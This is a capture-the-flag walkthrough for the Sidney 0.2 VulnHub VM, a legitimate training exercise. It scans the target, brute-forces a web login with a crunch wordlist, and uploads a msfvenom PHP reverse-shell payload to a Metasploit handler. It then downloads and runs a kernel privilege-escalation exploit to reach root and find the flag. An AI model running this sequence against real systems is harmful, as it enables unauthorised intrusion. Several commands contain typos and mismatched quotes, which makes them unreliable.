Hack the Sydney VM (CTF Challenge)

Today we will take up a boot2root challenge by Nightmares. We will work on Sidney: 0.2 made by Nightmares. This is the third challenge he genially came up with. The VM is set to grab a DHCP lease on boot. As before, gaining root is not the end of this VM. You will need to snag the flag. You can download this VM from –> https://www.vulnhub.com/entry/sidney-02,149/

Walkthrough

First things we need to know what IP did the VM got. So naturally scan the network using:

netdiscover

Now that we have located our target IP i.e. 192.168.0.104, our next step is to scan it.

nmap -A -p- 192.168.0.104

Upon scanning we know that port number 80 is open that means this IP will open in the browser so let us try and do that.

On opening the target IP on the browser we did not get much information, therefore, we will use curl command to find out more about our target.

curl -v http://192.168.0.104/

Now if you onto the source code, you can see that the word “commorode64” used a lot. So we opened it in the browser (192.168.0.104/commorode64) and to our luck we found another page.

Then we decided to look into its page source.

As you will read the page source you will come to know that username is robhubbard and going further you will find some hints about the password i.e. :

the password is in lowercase
password has 3 letters and four digits
and it is related to c=64 sound chip

After loking into the page source we tried to explore it more with nikto.

nikto -h http://192.168.0.104/commodore64/

Exploring through nikto proved helpful as found an index.php file so we opened it and as you can see it is asking for username and password. Now, we already know what is the username, we just have to find the password.

Getting the above hints about password, we firstly decided to look up c=64 sound chip on wikipedia. And we found:

We knew that password’s first three digits are alphabetic letters and so our best guess is MOS are the first three digits of the password.

Now everything falls on the last four digits of the password and finds that we used crunch command.

crunch 7 7 -t mos%%%% -o /root/Desktop/pass.txt

Crunch will generate your dictionary file.

And then apply dictionary attack using Burp Suite and then it will result in showing you the password as shown below:

Now on the index.php page enter the username and password. Following page will open and on this page you have to upload a malicious php file.

Entering the password you will logon to the following page:

Now to generate the said php open the terminal in your Kali and type:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 -f raw

Copy the code from <?php to die() and save it in a file with .php extension. Now upload this file by browsing it on the webpage.

Simultaneously, open metasploit and type:

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.1.113

set lport 4444

exploit

Executing the above exploit we will have a meterpreter’s session. Further type:

shell

And if you type the combination of two following commands to import the python file to reach the terminal then it will not work as the version of pythin is updated :

echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asdf.py

python /tmp/asdf.py

So to solve this problem you need to run a different set of commands i.e. :

pythin3.5 -c ‘import pty; pty.spawn(‘/bin/bash’)” > /tmp/asdf.py

bin/bash

Now you will reach the terminal. Here, type the following command to know the version of kernel :

lsb release -a

Now that we know the kernel’s version we will search it’s exploit in www.exploit-db.com

Exploring the exploit you will find the code that will download it.

Now we have the exploit that is to be downloaded, so we will find a writable file to download it and for type:

find / -writable -type d 2>/dev/null

Then download the file go into the said file and for type :

cd /tmp

Now in the /tmp folder if you try to download a file with wget command it will show an error so we will have to use curl command this time:

curl -O https://raw.githubusercontent.com/ofensive-security/exploit-database-bin-sploits/master/sploits/39772.zip

Now unzip the file by typing:

unzip 39772.zip

Open the unzipped file by typing:

cd 39772

Now we have a tar file named exploit.tar. Open it with the following command:

tar -xvf exploit.tar

And now move into the doubleput.c by typing:

cd ebpf_mapfd_doubleput_exploit

Moving forward, type:

ls (list the directories)

./compile.sh (will run the compile.sh)

./doubleput (will run the doubleput.c)

whoami (will tell you where you have reached)

cd /root (will take you into /root)

ls (shows you the directories of /root)

Now we are in the root of our target. Now let’s see what it has to offer us and for that type:

ls -lsa

We have all the files listed and from the list we will try and open hint.gif but first we have to copy it therefore type:

cp hint.gif /var/www/html

Now if you will open hint.gif in the browser then it will show you the following image:

So, we will try to check other files too like commodore64, so type :

cd .commodore64

And again to see what it has to offer us type:

ls -lsa

From all the files listed we will open the following:

cd .miami

ls -lsa (it wil further list the folders)

cd vice (enter into vice)

flag.zip

Don’t get too excited we have obtained the flag. We still have to open it. And here is the trick, if you try to open the zip file it will ask you for the password. So, we will try to open it in for browser and for that we first have to copy it so type:

cp flag.zip /var/www/html/commodore64